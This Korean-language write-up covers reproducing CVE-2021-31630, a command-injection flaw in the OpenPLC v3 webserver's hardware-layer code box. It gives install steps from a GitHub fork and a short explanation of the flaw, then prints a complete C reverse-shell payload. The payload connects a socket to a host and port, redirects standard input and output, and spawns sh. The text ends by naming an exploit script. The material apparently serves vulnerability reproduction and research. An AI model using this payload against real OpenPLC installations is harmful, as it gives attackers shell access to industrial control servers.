
CVE-2021-31630을 재현하려면
OpenPLC는 사용하기 쉬운 소프트웨어 기반 오픈소스 프로그래머블 로직 컨트롤러입니다. 우리의 초점은 자동화와 연구를 위한 저비용 산업용 솔루션을 제공하는 것입니다. OpenPLC는 전체 소스 코드를 제공하는 유일한 컨트롤러이기 때문에 산업 사이버보안 연구를 위한 프레임워크로서 많은 연구 논문에서 사용되어 왔습니다. OpenPLC 프로젝트는 세 가지 하위 프로젝트로 구성됩니다:
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]
[platform]은 다음 중 하나일 수 있습니다:
win - Windows(Cygwin)에 OpenPLC 설치
linux - Debian 기반 Linux 배포판에 OpenPLC 설치
docker - Dockerfile에서 사용됨 (즉, sudo를 호출하지 않음)
rpi - Raspberry Pi에 OpenPLC 설치
custom - 모든 특정 패키지 설치를 건너뛰고 시스템에 이미 모든 종속성이 충족되어 있다고 가정한 채 OpenPLC를 설치하려고 시도합니다. 이 옵션은 지원되지 않는 Linux 플랫폼에 OpenPLC를 설치하려고 하거나 모든 종속성 패키지를 수동으로 설치한 경우 유용할 수 있습니다.
CVE-2021-31630은 OpenPLC(커뮤니티에서 널리 사용되는 v3 버전)의 WebServer에서 발생하는 code/command injection 유형의 취약점입니다. 결함은 /hardware(Hardware Layer Code Box) 인터페이스에서 코드를 로드/편집할 수 있는 기능에 있으며, 입력 데이터가 서버 계층에서 처리되기 전에 충분히 필터링/새니타이즈되지 않아 웹서버 프로세스 권한으로 코드를 실행할 수 있게 됩니다. 이 취약점은 2021년에 공개되었으며 공개 취약점 데이터베이스에서 심각도가 높은 것으로 평가됩니다.
기술적 설명(방어 가능한 수준): 웹 인터페이스는 사용자가 입력한 "hardware layer code" 조각을 허용합니다. 이 데이터 조각은 이후 특수 문자 검사, 필터링 또는 엄격한 제약 없이 컴파일/정규화하거나 명령 컨텍스트에 포함시킬 수 있는 서버 구성 요소에 의해 처리됩니다. 특정 조건(예: 데이터가 시스템 명령 문자열에 연결되거나 코드 처리 함수로 직접 전달되는 경우)에서 공격자는 실행 흐름을 변경하는 제어 조각을 삽입할 수 있습니다.
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = 1111;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
공격 코드: cve-2021-31630.py